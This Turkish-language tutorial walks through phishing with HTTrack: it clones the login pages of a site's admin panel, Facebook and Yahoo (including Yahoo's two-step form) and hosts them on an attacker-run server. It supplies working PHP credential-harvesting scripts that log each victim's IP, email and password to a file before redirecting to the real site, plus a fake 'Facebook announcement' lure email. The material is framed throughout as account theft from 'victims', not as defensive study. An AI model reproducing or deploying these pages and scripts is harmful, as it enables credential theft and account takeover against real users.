HTTrack

(+) Bu yazı birebir denenmiştir ve başarıyla uygulanmıştır.

HTTrack belirtilen web sitenin kopyasını oluşturmaya yarayan bir araçtır. Belirtilen web sitenin kopyasını oluşturup kendi sunucumuza atabilir, sonra URL'sini email yoluyla kurbanlara gönderebilir ve en nihayetinde kurbanın linke tıklayıp esas site zannederek kullanıcı adı ve şifresini girmesini umabiliriz. Dolayısıyla HTTrack sosyal mühendislik saldırılarında kullanılan bir araçtır.

Şimdi includekarabuk.com sitesinin login panelini httrack ile kopyalayalım.

Kali Konsol:

> httrack

Welcome to HTTrack Website Copier (Offline Browser) 3.48-21 Copyriht (C) 1998-2015 Xavier Roche and other contributors. To see the option list, enter a blank line or try httrack --help

Enter project name : includekarabuk.com

Base path : /root/Desktop/includekarabukProject

**Enter URLs (separated by commas or blank spaces) :** www.includekarabuk.com /adminPaneli/index.php

Action :

(enter)	1	Mirror Web Site(s)
	2	Mirror Web Site(s) with Wizard
	3	Just Get Files Indicated
	4	Mirror All links in URLs (Multiple Mirror)
	5	Test Links in URLs (Bookmark Test)
	6	Quit

:2

Proxy (return=none) :

// Boş bir şekilde enter

You can define wildcards, like : -\*.gif +www.\*.com/\*.zip -\*img\_\*.zip Wildcards (return=none) : // Boş bir şekilde enter

You can define additional options, such as recurse level (-r<number>), separed by blank spaces To see the options list, type help Additional options (return=none) : // Bos bir sekilde enter

---> Wizard command line: httrack www.includekarabuk.com/adminPaneli/ index.php -W -O "/root/Desktop/includekarabukProject/loginPanel" -%v

**Ready to launch the mirror? (Y/n):** Y

#### WARNING! You are running this program as root! It might be a good idea to run as a different user. Mirror launched on Mon, 28 Nov 2016 11:41:16 by HTTrack Website Copier

mirroring www.includekarabuk.com/adminPaneli/index.php with the wizard help...

Done Thanks for using HTTrack!



Böylece /root/Desktop/includekarabukProject klasörü içerisinde includekarabuk.com adlı klasör var olacaktır.

Applic	ations 🔻	Places 🔻 🖹 Files	<b>→</b> Mc	on 12:21	1 😼 tr 🕶 💉	✓ ■3) Ê+ ▼
		includekarabukProj ect				
-	<	> < includekarab	ukProject includekarabuk.com	>	Q ::: ≡ ● ● ● ●	
M	٣	Recent				
1		Home				
		Desktop	includekarabuk com			
	•	Downloads	includekarabuk.com			
Ð	5	Music				
31	۰¢	Pictures	×-			
	B	Videos				
		Trash				
	+	Other Locations				
0.9						

includekarabuk.com klasörü içerisinden de www.includekarabuk.com klasörüne, oradan da adminPaneli klasörüne girerek klonlanmış web sayfasına ulaşabiliriz.

Applic	ations 🔻	Places 7	🕶 🗄 Files 🕶	Mon 1	12:23		1	tr 👻 🌶	<ul><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul>
		includekar	abukProj_t						
•	<	> <	includekarabuk.com	www.includekarabuk.com	adminPaneli >	٩		000	
M	3	Recent							
1		Home		Æ					
	=	Desktop							
5	D	Documents		ndex.html					
$\odot$	•	Downloads							
NG	5	Music		*					
81		Pictures							
F		Videos							
	+	Other Locat	tions						
0Ŧ									
						"index.	html″ selec	ted (1.9 kB)	
						index.		(2.12 1.2)	

Applications 🔫	Places 🔻 🛛 🙀 Icewe	easel 🔻		Mon 12:26	6		1		tr 👻	pt	<b>■</b> )) [	· •
			Yöne	tim Paneli - I	ceweasel						0	00
Yönetim Paneli	× +											
( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( ) ( )	ot/Desktop/includekarab	oukProject/incl	udekarabuk.co	om/www.	C Q Searc	h	슙	ê (	•	俞	ø	≡
🛅 Most Visited 🗸	Offensive Security	🔧 Kali Linux	🔧 Kali Docs	🔧 Kali Tools	Exploit-DB	Aircrack-ng						
				•								
				₩								
			_	_	_							
			P	anele (	Giris							
			ku	llanıcı adı								
			şif	re								
				Giriş Bla	oğa Git							

Yukarıdaki klon sayfayı veren index.html dosyası tek başına yukarıdaki ekranı verebilecek yetidedir. Çünkü css linkleri orijinal halleriyle durmaktadır. Yani yukarıdaki sayfa görüntülendiğinde orijinal www.includekarabuk.com sitesinden css dosyaları çekilmektedir. Böylece ekrana orijinal login paneliyle tıpatıp bir login ekranı gelmektedir. Login panelindeki form action linki de orijinaline sadık bırakıldığı için oraya saldırgan kendi sunucusundaki bir php dosyasının linkini koyabilir ve o php dosyası ile post edilen kullanıcı adı şifre bilgilerini dosyaladıktan sonra orijinal login sayfasına yönlendirme yapabilir. Böylece kurban klon login sayfasına kullanıcı adı ve şifresini girdikten sonra ekranında tekrar login ekranını (orijinal olanını) görecektir. Olayı anlayamayıp bir yanlışlık oldu herhalde deyip tekrar kullanıcı adı ve şifresini girerek esas sitede oturum açabilecektir. Bu sayede kullanıcı mutlu mesut orijinal sitede surf'unu yaparken biz dosyaladığımız kullanıcı adı ve şifre bilgileri ile kullanıcının ilgili sitedeki hesabını ele geçirmiş olacağız.

### Facebook Hesap Çalma

HTTrack tool'unu Facebook Hesap Çalma işlemi için kullanabiliriz. Örneğin HTTrack tool'u ile facebook login sayfasının klonunu üretebiliriz ve bu klon sayfayı kendi sunucumuza yerleştirebiliriz. Ardından kurbana "Facebook Anonsu" gibi mail'ler ile kendi sunucumuzudaki klon facebook login sayfasının linkini gönderebiliriz. Kurban mail içinde belirtilen linke tıkladığında ekranına klon facebook login sayfası gelecektir. Hiçbir şeyin farkında olmadan fake facebook sayfasına login bilgilerini girdiğinde POST edilen değişkenler sunucumuzdaki bir başka php dosyası ile dosyalanacaktır ve sonra kurban orijinal facebook sayfasına yönlendirilecektir. Böylece kurbanın ekranına yine facebook login sayfası geleceğinden bir yanlışlık oldu herhalde, yanlış şifre girmiş olmalıyım deyip tekrar kullanıcı adı ve şifresini girerek facebook'ta login olacaktır. Biz ise klon facebook sayfasında girilen verileri dosyaladığımız için kurbanın facebook hesabını elde etmiş olacağız.

Şimdi anlatılan işlemleri sırasıyla yapalım. Önce HTTrack ile www.facebook.com/index.php sayfasının klonunu üretelim:

Kali Konsol:

> httrack

Welcome to HTTrack Website Copier (Offline Browser) 3.48-21 Copyriht (C) 1998-2015 Xavier Roche and other contributors. To see the option list, enter a blank line or try httrack --help

Enter project name : facebook.com

Base path : /root/Desktop/includekarabukProject

**Enter URLs (separated by commas or blank spaces) :** www.includekarabuk.com /adminPaneli/index.php

Action :		
(enter)	1	Mirror Web Site(s)
	2	Mirror Web Site(s) with Wizard
	3	Just Get Files Indicated
	4	Mirror All links in URLs (Multiple Mirror)
	5	Test Links in URLs (Bookmark Test)
	6	Quit
		-

Proxy (return=none) :

// Boş bir şekilde enter

You can define wildcards, like : -\*.gif +www.\*.com/\*.zip -\*img\_\*.zip Wildcards (return=none) : // Boş bir şekilde enter

You can define additional options, such as recurse level (-r<number>), separed by blank spaces To see the options list, type help Additional options (return=none): -r 0 // Recursive olarak // derinliğe iniş yapma // demiş oluruz. ---> Wizard command line: httrack www.facebook.com/index.php

-W -O "/root/Desktop/facebookProject/facebook.com" -%v -r 0

**Ready to launch the mirror? (Y/n):** Y

WARNING! You are running this program as root! It might be a good idea to run as a different user. Mirror launched on Mon, 28 Nov 2016 11:41:16 by HTTrack Website Copier

mirroring www.includekarabuk.com/adminPaneli/index.php with the wizard help...

^C Program terminated (signal 2)

HTTrack tool'u index.html dışında işimize yaramayacak bir sürü şey de bulacağından klon dosyaların yer alacağı klasör içerisinde index.html dosyası oluştuğu an CTRL+C ile tool'un çalışmasını durduralım.



Şimdi oluşan index.html dosyasına çift tıklayarak nasıl görünüyor bir bakalım.

Facebook - Log In	or Sign Up - Iceweasel	0
Facebook - Log In or ×		
< 🗷   file:///root/Desktop/index.html	C Q Search ☆ 自 ♡ ♣ 俞 9 분	=
🛅 Most Visited 🗸 👖 Offensive Security 🌂 Kali Linux 🌂 Kali Docs 🌂 Kal	i Tools 👖 Exploit-DB 📡 Aircrack-ng	
	Email or Phone Password	1
tacebook	Forgotten account?	
Facebook helps you connect and share with the	Create an account	
people in your life.	It's free and always will be.	
1 1 1	First name Surname	
	Mobile number or email address	
	Re-enter mobile number or email address	
	New password	
	Birthday	
	Day  Month  Year  Why do I need to provide my date of birth?	
	$\odot$ Female $\odot$ Male	
	By clicking Create an account, you agree to our Terms and that you have read our Data Policy, including our Cookie Use.	
	Create an account	

Görüldüğü üzere klon sayfamız gayet düzgün görünmekte. Şimdi bu sayfadaki login paneline ait form action'ı düzenleyelim ki formu submit'leyen kullanıcı POST'lanan değerleri dosyalayacak php sayfasına yönlenebilsin. O yüzden index.html'deki form action="..." içerisine dosyalama yapacak php dosyasının linki girilir.

Klon Login Sayfasındaki (index.html'deki) Form Action Değeri Aşağıdaki Gibi Yapılır:

<form action="http://www.includekarabuk.com/hesapCalma/facebookHesapCalma/hesapDosyala.php" method="post">

Böylece form submit'lendiğinde POST'lanan değerler hesapDosyala.php dosyasına gidecektir. Şimdi hazırlayacağımız hesapDosyala.php dosyası metin kutularındaki değerleri çekebilsin diye klon facebook sayfamızdaki metin kutularının name="..." değerlerini öğrenelim:

Sağ Tıkla Öğeyi Denetle Sonucunda Name Attribute Değerleri:

...

• • •

Email Metin Kutusunun Name değeri	:	email
Şifre Metin Kutusunun Name değeri	:	pass

Böylece login panelini submit'leyen kullanıcı /hesapCalma/facebookHesapCalma/hesapDosyala.php linkine email ve şifre bilgilerini POST'layacaktır. POST'la gelen verileri hesapDosyala.php dosyası aşağıdaki gibi çekecektir ve dosyalayacaktır.

```
hesapDosyala.php
```

```
<html>
  <head>
    <title>Yönlendiriliyorsunuz...</title>
  </head>
  <body>
    <?php
      $ $ SERVER["REMOTE ADDR"];
                                               // Kurbanın ip'si alınır.
     $email = $_POST["email"];
                                               // Facebook email'i alınır.
     $password = $ POST["pass"];
                                               // Facebook sifresi alınır.
     $dateTime = date('d.m.y \t H:i:s');
                                               // Linke tıklanma zamanı alınır.
     $file = fopen("hesaplar.html", "a+");
     fwrite($file, "Kurbanin IP Adresi
                                    : ".$ip."<br>");
     fwrite($file, "Linke Tiklama Zamani : " . $dateTime . "<br>");
                                   : ". $email. "<br>");
     fwrite($file, "Facebook Mail'i
                                   : ". $password . "<br>");
     fwrite($file, "Facebook Sifresi
     fclose($file);
     header("Location: https://www.facebook.com/index.php"); // Orijinal facebook login
                                                      // sayfasına yönlendirir.
  ?>
 </body>
</html>
```

Kullanıcı login panelini submit'ledikten sonra hesapDosyala.php sayfasına yönlenecektir ve girdiği veriler yukarıdaki kodlardan da görülebileceği üzere hesaplar.html dosyasına eklenecektir. Ardından header() fonksiyonu ile orijinal facebook login sayfasına yönlendirilecektir.

Artık alt yapı hazır. Yani klon sayfa, klon sayfadan gelen verileri dosyalayan sayfa ve orijinal sayfaya yönlendirme olayı hazır. Klon sayfa uzantısını index.html 'den index.php yapalım ve hazırladığımız index.php, hesapDosyala.php dosyalarını kendi sunucumuzdaki hesapCalma klasörü içerisinde yer alan facebookHesapCalma klasörüne atalım:

	- FileZilla	品 🗤 📅 🖇 📧 🜒) 10:08 🔱
Ø		
	Host: Username: Password: Port: Quick	connect 👻
	Response. 221 Entering Passive Mode (40,43, 101,221,213,03)	
	Command: MLSD Response: 150 Accepted data connection	
	Response: 226-Options: -a -l	
	Response: 226 5 matches total	
	status. Directory insting successivit	
9	Local site: /home/hefese/Desktop/	Remote site: /public_html
	Desktop	
	Documents	
A		
	Filename A Filesize Filetype Last modified	Filename ^ Filesize Filetype Last modified Permis
		Directory 28-09-2016 0755
0	Directory 21-03-2016 13:	Directory 28-09-2016 0/55
	Directory 03-12-2016 22	Directory 28-09-2016 0755
S	Directory 19-04-2016 00:	Directory 28-09-2016 0755
	Directory 29-10-2016 01:	Directory 28-09-2016 0755
· 🧓	Directory 23-09-2016 21:	Directory 07-11-2016 0755
	Directory 04-12-2016 00:	16 B File 07-11-2016 0644
12	Directory 11-11-2016 00:	779 B HTML do 28-09-2016 0644
	Directory 28-11-2016 18:	1,5 KB HTML do 28-09-2016 0644
	253 files and 12 directories. Total size: 3,2 MB	Selected 1 directory.
2	Server/Local file Directio Remote file Size P	riority Status
1		
-	Queued files Failed transfers Successful transfers (16)	
-		🖉 🏧 Queue: empty 🔹 🔹

Not: hesapCalma klasörünün izni 777 olmalı.

	_	- FileZilla			🔠 👣 🏋 🐝 🖘 🖛 10:13 🕸		
Q	: 🗶   🗾 🖿 🥐	N 🖬 🕸 🕸 🖻 💺 🛷 🗐 🖬 👧	😚 🙃				
	Host:	Username: Passwo	ord: Port: Qu	ickconnect 🝷			
0	Nespulie: 221 Lincelling ressive indue (40,45,161,221,215,00)						
0	Response: 150 Ac	cepted data connection					
	Response: 226-Op	otions: -a -l					
2	Status: Directo	ory listing successful					
0	Local site: /home	e/hefese/Desktop/		Remote site: /public_html/hesapCa	ılma 🔹		
	▶ J Des	ktop					
	► Doc	uments		hesapCalma			
A		· ·	101-101-1020-101-11				
m	Filename ^	Filesize Filetype	Last modified	Filename ^	Filesize Filetype Last modified Permis		
		Directory	21-03-2016 13:	facebookHesapCalma	Directory 05-12-2016 0777		
2		Directory	12-02-2016 22:	🍃 yahooHesapCalma	Directory 05-12-2016 0777		
		Directory	03-12-2016 00:				
S	<b>1</b>	Directory	19-04-2016 00:				
	2	Directory	29-10-2016 01:				
2	-	Directory	23-09-2016 21:				
E	. 🚬	Directory	04-12-2016 00:				
	2	Directory	28-11-2016 18:				
we .	253 files and 12 di	rectories Total size: 3.2 MB	20-11-2010 10	Selected 1 directory			
	2551110301101201	recortes. rocatsize. 5,2 Mb		Instruction of the coordinates o			
È	Server/Local file	Directio Remote file	Size	Priority Status			
-							
لتطورها							
and the second sec							
3	Queued files	Failed transfers Successful transf	ers (16)				
					🖉 🏧 Queue: empty 🔍 🔍		

Not: facebookHesapCalma klasörünün iznini 777 yap.



### Ardından

http://www.includekarabuk.com/hesapCalma/facebookHesapCalma/index.php

adresine girip klon web sayfamız sunucumuzda nasıl görünüyor bakalım.

bok - Log In or Sign Up - Chromium         Google Çeviri       ×       I Tureng - intrusive - ×       I Facebook - Log In o ×       www.include         C       C       O       www.include       www.include	tı, Tr \$ ∞ •1) 18:07 🌣 ≜karab ×				
🖿 İş Başvuruları 🖿 Güvenlik Haber 🖿 Teknoloji Haber 🕧 ODTÜ Lisansüsti. 🎲 AWS EC2 🔮 Ulu:	sal Bilgi Güve 🕧 Yüksek Lisans Sib 🦻 Metasploit 📲 BGA Takvim 🔋				
facebook	Email or Phone Password Log In Forgotten account?				
Facebook helps you connect and share with the	Create an account				
people in your life.	It's free and always will be.				
	First name Surname				
	Mobile number or email address				
	Re-enter mobile number or email address				
	New password				
	Birthday				
	Day         Month         Year         Why do I need to provide my date of birth?				
	○ Female ○ Male				
	By clicking Create an account, you agree to our Terms and that you have read our Data Policy, including our Cookie Use.				
	Create an account				
	Create a Page for a celebrity, band or business.				

Görüldüğü gibi orijinal facebook login sayfasıyla tıpatıp görünmekte. Şimdi yapılacak şey

http://www.includekarabuk.com/facebookHesapCalma/index.php

linkini kurbanlara "Facebook Anonsu" konseptinde mail yoluya göndermek ve kurbanların linke tıklamalarını ummaktır.

Mail:

Title: Facebook Anonsu

To : ilknur@gmail.com

Body:

Sevgili kullanıcı yeni gelişmelerden haberdar olmak için lütfen giriş yapınız:

Facebook Login Sayfası

// Bu bir linktir. // İçinde hazırladığmız klon facebook // login sayfasının linki var.

Corporate office · Campus building at Menlo Park, California

Facebook Ekibi

Kurban linke tıkladığında aşağıdaki klon facebook login ekranına ulaşacaktır.

C      O     Control      Control      Control     Contro     Contro     Contro     Control     Control     Control     C	ook - Log In or Sign Up - Chromium           ©; Google Çeviri         ×         29-10-2016 Konferative X         Yahoo - login         ×         Yahoo - otu	rum aç 🗙 🗗 Facebook - Log in 🛛 🗴 🛄
• © Queditik Haber       • © entrulisansitis       ● AVASEC2       © ulusal Billigi Citive       • Wetasplicit       • @ Retargiolit	← → C û www.includekarabuk.com/hesapCalma/facebookHesapCalma/index.php	☆ <sup>66</sup> :
Image: Second Secon	🖿 İş Başvuruları 🖿 Güvenlik Haber 🖿 Teknoloji Haber 🌔 ODTÜ Lisansüstü 🧃 AWS EC2   🕈 Ulu	ısal Bilgi Güve 🕧 Yüksek Lisans Sib 🦻 Metasploit 🐗 BGA Takvim 🛛 🔹
<section-header><section-header></section-header></section-header>	facebook	Email or Phone Password Log In Forgotten account?
people in your life. If is the eard always will be. If is the and always will be. If is the always will be. If is the always will be. If is the always will be. If is the always will be. If is the always will be. If is the always will be. If is the always will be. If is the always will be. If is the always will be. If is the always will be. If is the always will be. If is the always will	Facebook helps you connect and share with the	Create an account
First name   Surname Mobile number or email address Re-enter mobile number or email address New password Direction of the state	people in your life.	It's free and always will be.
Image: Control of the second seco		First name         Surname
Re-enter mobile number or email address     New password     Day     Number or email address     New password     Dirthday   Day   Oremale   Oremale   Devicing Create an account, you agree to our Terms and that you have read our Data Policy. Including our Cookle Use.   Create an account		Mobile number or email address
New password         Birthday         Day • Month • Year • Why do I need to provide my date of birth?         • Female • Male         By clicking Create an account, you agree to our Terms and that you have read our Data Policy, including our Cooke Use.         Create an account.	17	Re-enter mobile number or email address
Bithday Day Month Year Why do I need to provide my date of birth? Female Male By clicking Create an account, you agree to our Terms and that you have read our Data Policy, including our Cooke Use. Create an account		New password
Day       Month       Year       Why do I need to provide my date of birth?         Image: Second Se		Birthday
<ul> <li>Female</li> <li>Male</li> <li>By dicking Create an account, you agree to our Terms and that you have read our Data Policy, including our Cookie Use.</li> <li>Create an account</li> </ul>		Day      Month      Year      Why do I need to provide my date of birth?
By clicking Create an account, you agree to our Terms and that you have read our Data Policy, including our Cookle Use. Create an account		○ Female ○ Male
Create an account		By clicking Create an account, you agree to our Terms and that you have read our Data Policy, including our Cookie Use.
		Create an account
Create a Page for a celebrity, band or business.		Create a Page for a celebrity, band or business.

Login bilgilerini girdiğinde ve submit'lediğinde hesapDosyala.php dosyasına yönlenecektir. HesapDosyala.php dosyası kendisine POST'lanan verileri dosyalayacaktır ve kurbanı orijinal Facebook login sayfasına yönlendirecektir. Bu işlem bir çırpıda olacağından aradaki sayfa hiç hissedilmeyecektir. Kurban yanlış şifre girdiğim için ikinci kez login ekranı geliyor diye düşünecektir. Biz ise verileri dosyalayarak phising saldırısını başarıyla tamamlamış olacağız.

Klon Sayfaya Kullanıcı Adı ve Şifre Girilir:

ook - Log In or Sign Up - Chromium	日: 👣 Tr 🖇 📧 40)) 10:21 ಭ
Google Çeviri       ×       29-10-2016 Kontera       ×       Facebook - Log In ⊙       ×         ←       ○       ①       @ www.includekarabuk.com/hesapCalma/facebookHesapCalma/index.php         is Basyurular       □       Güvenlik Haber       □       Teknoloji Haber       O       ODTÜ Lisansüsti       □       AWS EC2       ♥       Ulusal	al Bilgi Güve ① Yüksek Lisans Sii → Metasploit 🦽 BGA Takvim »
facebook 🔶	Email or Phone Password Iknursit Log In Forgotten account?
Facebook helps you connect and share with the people in your life.	Create an account It's free and always will be.
	First name         Surname
	Mobile number or email address
L L	Re-enter mobile number or email address

Orijinal Sayfaya Gidilir:



# Login Bilgileri dosyaya gelir:



Not: Bu yazıda yaptığımız işlemi Social Engineering Toolkit (SET) tool'u ile de yapabilmekteyiz. Ancak arada bir fark vardır. Şöyle ki SET tool'u ile klon bir web sayfası oluşturulur. Klon web sayfası /var/www dizinine atılıp 80 portundan dışarıya verilir. IP'miz kurbana facebook linki görünümünde eposta yoluyla gönderilir. Kurban IP'mize tıkladığında ekranına klon web sayfası gelir. Oraya gireceği kullanıcı adı ve şifreyi post'ladığında ise SET tool'unun arayüzüne, yani konsola kullanıcı adı ve şifre bilgileri gelir. Yani bu yazıda yaptığımız yöntem ile SET tool'unun yaptığı yöntem arasındaki fark ilk yöntemde kullanıcı adı ve şifre dosyalanırken ikinci yöntemde konsola çıktılanmaktadır. SET tool'u hakkında detaylı bilgi için bkz. Web Penetration Testing in Kali Linux, pg. 140-142

### İki Aşamalı Login Panelleri

Login panelini iki aşamalı yapan web siteleri - yani username girildikten sonra password kutusunu ekrana getiren web siteleri - AJAX teknolojisini kullanmaktadır. Çünkü username girildikten sonra ne sayfa yenileniyor ne de URL değişiyor. Ekrana öylece password metin kutusu geliyor. Dolayısıyla bu tür login panellerinden kurbanın bilgilerini almak biraz daha külfetlidir. Bu tür login panelleri ilk aşamada girilen username'i AJAX ile sunucuya gönderir. Ardından ekrana gelen password metin kutsuna girilen password'ü AJAX ile sunucuya gönderir. Dolayısıyla bu tip bir login paneli klonlamak ve hesap çalma şeklinde ayarlamak için login paneli klonlayıp AJAX kodlarındaki hedef URL'ye kendi sunucumuzdaki dosyalama yapan php dosyasını göstermemiz gerekir. Yani kullanıcı username'i girdiğinde kullanıcının username'i AJAX ile bizim dosyalama yapan php dosyasına gitmelidir. Ardından kullanıcı password girdiğinde kullanıcının password'ü AJAX ile yine bizim dosyalama yapan php dosyasına gitmelidir. Daha sonra dosyalama yapan php dosyası kullanıcını orijinal login paneline yönlendirmelidir. Bu şekilde bu tip login panellerinden istifade edebiliriz.

## Yahoo Hesap Çalma (İki Aşamalı Login Paneli)

Yahoo Login Paneli iki aşamalıdır:

Eposta Giriş Ekranı:



Şifre Giriş Ekranı:



İkinci ekran gelirken sayfada herhangi bir refresh olayı olmamaktadır. URL de aynı şekilde kalmaktadır. Dolayısıyla diyebiliriz ki hedef web sitesi AJAX teknolojisini kullanmaktadır. İlk ekranda email girişi yapınca AJAX bağlantısı kurulup email adresi gönderilmektedir. Sonra iletişim başarıyla gerçekleşince javascript kodları ile email giriş ekranının div kutucuğu hide yapılıp şifre giriş ekranının div kutucuğu show yapılmaktadır. Böylece aynı dosyada ekrana şifre girme ekranı yansıtılmaktadır.

Şimdi bu login paneli üzerinden kurban hesabı ele geçirmek için login paneli klonlayalım. Bunun için masaüstünde yahoo.com adlı bir klasör oluşturalım:

Ubuntu Konsol:

> sudo su
> cd ~/Desktop
> mkdir yahoo.com
> apt-get install httrack

Ardından klonlama işlemini başlatalım:

Ubuntu Konsol:

> httrack

Welcome to HTTrack Website Copier (Offline Browser) 3.48-21 Copyriht (C) 1998-2015 Xavier Roche and other contributors. To see the option list, enter a blank line or try httrack --help

Enter project name : yahoo.com

Base path : /home/hefese/Desktop/yahoo.com

**Enter URLs (separated by commas or blank spaces) :** https://login.yahoo.com/ config/mail?.lang=tr-tr

Action :

(enter)	1	Mirror Web Site(s)
	2	Mirror Web Site(s) with Wizard
	3	Just Get Files Indicated
	4	Mirror All links in URLs (Multiple Mirror)
	5	Test Links in URLs (Bookmark Test)
	6	Quit

:2

Proxy (return=none) :

// Boş bir şekilde enter

You can define wildcards, like : -\*.gif +www.\*.com/\*.zip -\*img\_\*.zip Wildcards (return=none) : // Boş bir şekilde enter

You can define additional options, such as recurse level (-r<number>), separed by blank spaces To see the options list, type help Additional options (return=none) : // Boş bir şekilde enter

---> Wizard command line: httrack https://login.yahoo.com/config/mail?.lang =tr-tr -W -O "/home/hefese/Desktop/yahoo.com" -%v

**Ready to launch the mirror? (Y/n):** Y

WARNING! You are running this program as root! It might be a good idea to run as a different user. Mirror launched on Mon, 28 Nov 2016 11:41:16 by HTTrack Website Copier

mirroring https://login.yahoo.com/config/mail?.lang=tr-tr with the wizard help...

Done Thanks for using HTTrack!

root@hefese-N61Jq:/home/hefese# httrack								
welcome to HTTrack Website Copier (Offline Browser) 3.48-1+libhtsjava.so.2 Copyright (C) 1998-2013 Xavier Roche and other contributors To see the option list, enter a blank line or try httrackhelp								
Enter project name :yahoo.com								
Base path (return=/root/websites/) :/home/hefese/Desktop/yahoo.com								
Enter URLs (separated by commas or blank spaces) :https://login.yahoo.com/config /mail?.lang=tr-tr								
Action:								
(enter) 1 Mirror Web Site(s)								
2 Mirror Web Site(s) with Wizard								
3 JUST GET FILES INDICATED 4 Micros All Jack in Willialo Micros)								
5 Test links in URIs (Rookmark Test)								
e Ouit								
: 2								
Proxy (return=none) :								
You can define wildcards, like: -*.gif +www.*.com/*.zip -*img_*.zip Wildcards (return=none) :								
You can define additional options, such as recurse level (-r <number>), separed by blank spaces To see the option list, type help Additional options (return=none) :</number>								
> Wizard command line: httrack https://login.yahoo.com/config/mail?.lang=tr-tr -W -O "/home/hefese/Desktop/yahoo.com/yahoo.com" -%v								
Ready to launch the mirror? (Y/n) :Y								
WARNING! You are running this program as root! It might be a good idea to run as a different user Mirror launched on Mon, 05 Dec 2016 10:59:02 by HTTrack Website Copier/3.48-1+libhtsjava.so.2 [XR&CO'2013] mirroring https://login.yahoo.com/config/mail2.lang=tr-tr with the wizard help [0x2143e80] freeing table ; writes=1 (new=1) moved=0 stashed=0 max-stash-size=0 avg-moved=0 rehash=0 pool-compact=1 pool-realloc=1 memory=6840 [0x2133860] freeing table ; writes=0 (new=0) moved=0 stashed=0 max-stash-size=0 avg-moved=0 rehash=0 pool-compact=0 pool-realloc=0 memory=6712 [0x2136640] freeing table ; writes=3 (new=3) moved=0 stashed=0 max-stash-size=0 avg-moved=0 rehash=0 pool-compact=0 pool-realloc=1 memory=6968 [0x21338f0] freeing table ; writes=3 (new=3) moved=0 stashed=0 max-stash-size=0 avg-moved=0 rehash=0 pool-compact=0 pool-realloc=1 memory=6968 [0x21336f0] freeing table ; writes=3 (new=3) moved=0 stashed=0 max-stash-size=0 avg-moved=0 rehash=0 pool-compact=0 pool-realloc=1 memory=6968 [0x21336f0] freeing table ; writes=3 (new=3) moved=0 stashed=0 max-stash-size=0 avg-moved=0 rehash=0 pool-compact=0 pool-realloc=1 memory=6968 [0x2133140] freeing table ; writes=3 (new=3) moved=0 stashed=0 max-stash-size=0 avg-moved=0 rehash=0 pool-compact=0 pool-realloc=0 memory=6712 [0x213b90] freeing table ; writes=3 (new=3) moved=0 stashed=0 max-stash-size=0 avg-moved=0 rehash=0 pool-compact=0 pool-realloc=0 memory=6712 [0x213b90] freeing table ; writes=0 (new=0) moved=0 stashed=0 max-stash-size=0 avg-moved=0 rehash=0 pool-compact=0 pool-realloc=0 memory=6712 Done. Thanks for using HTrack!								
oot@hefese-N61Jq:/home/hefese#								

Ardından

```
> chmod -R 777 yahoo.com
```

yapalım ve

/home/hefese/Desktop/yahoo.com/yahoo.com/login.yahoo.com/config/

dizinindeki *mail0d0a.html* dosyasını ayıralım. Bu ayırdığımız dosya hem email giriş ekranı html kodlarını hem de şifre giriş ekranı html kodlarını içermektedir. AJAX kodları muhtemelen harici bir javascript dosyasında olduğundan dolayı AJAX kodlarını bulup manipule etmekten ziyade mevcut klon dosyasını kopyalayıp iki klon dosyasından birini email giriş ekranı olarak diğerini de şifre giriş ekranı olarak kullanmayı tercih edelim.



Yaptığımız tercih doğrultusunda sahte login panelini kurmak için yapılacak adımlar şunlardır:

Not: Aşağıda bahsedilen yapılacak adımlar includekarabuk.com sunucusundaki

/hesapCalma/yahooHesapCalma

dizininde yer alan dosyalara uygulanmıştırlar.

i) Birinci klon dosyadaki form tag'ını

http://www.includekarabuk.com/hesapCalma/yahooHesapCalma/hesapDosyala.php

yap.

ii) Birinci klon dosyadaki form tag'ı içerisine

<input type="hidden" name="flag" value="email"/>

tag'ını koy. Böylece birinci klon dosyadaki form submit'lendiğinde hesapDosyala.php'deki if koşuluna girebilelim.

ii) Birinci klon dosyasındaki metin kutusu name 'ini "email" yap.

iii) İkinci klon dosyadaki form tag'ını

http://www.includekarabuk.com/hesapCalma/yahooHesapCalma/hesapDosyala.php

yap.

iv) İkinci klon dosyadaki form tag'ı içerisine

<input type="hidden" name="flag" value="password"/>

tag'ını koy. Böylece ikinci klon dosyadaki form submit'lendiğinde hesapDosyala.php'deki else if koşuluna girebilelim.

v) İkinci klon dosyasındaki email giriş ekranı string'lerini şifre giriş ekranı olarak modifiye et. (Şifre giriş ekranı html kodları her nedense bir türlü ekrana yansıtılamadığından email giriş ekranı kodlarını şifre kodları olarak modifiye etme yöntemi tercih edildi).

vi) İkinci klon dosyasındaki metin kutusu name 'ini "password" yap.

vii) Birinci klon dosyasının ismini *index\_mail.php* olarak, ikinci klon dosyasının ismini ise *index\_pass.php* olarak değiştir.

viii) Son olarak hesapDosyala.php dosyası oluştur ve içine şu kodları yerleştir:

hesapDosyala.php:

```
<?php
 session_start();
 session_cache_expire(15);
?>
<html>
<head>
 <title>Yönlendirilivorsunuz...</title>
</head>
<body>
 <?php
   $flag = $ POST["flag"];
   if( $flag == "email"){
       $ SESSION["victim"]["email"] = $ POST["email"];
                                                                            // Kurbanın mail adresi alınır.
       // Kurban şifre girme ekranına yönlendirilir.
       header("Location: http://www.includekarabuk.com/hesapCalma/yahooHesapCalma/index_pass.php");
   }
   else if ($flag == "password"){
       $_SESSION["victim"]["password"] = $_POST["password"];
       $_SESSION["victim"]["ip"] = $_SERVER["REMOTE_ADDR"];
$_SESSION["victim"]["date"] = date('d.m.y \t H:i:s');
                                                                            // Kurbanın ip'si alınır.
                                                                            // Linke tıklanma zamanı alınır.
       $file = fopen("hesaplar.html", "a+");
       : ".$_SESSION["victim"]["ip"]."<br/>br>");
       fwrite($file, "Kurbanin IP Adresi
                                             :".$ SESSION["victim"]["date"]."<br>");
       fwrite($file, "Linke Tiklama Zamani
                                             : ".$_SESSION["victim"]["email"]. "<br>");
       fwrite($file, "Yahoo Mail'i
                                   :".$_SESSION["victim"]["password"]."<br>");
       fwrite($file, "Yahoo Sifresi
       fclose($file);
       // Kurban orijinal yahoo login paneline yönlendirilir.
       header("Location: https://login.yahoo.com/config/mail?.lang=tr-tr");
   }
 ?>
</bodv>
</html>
```

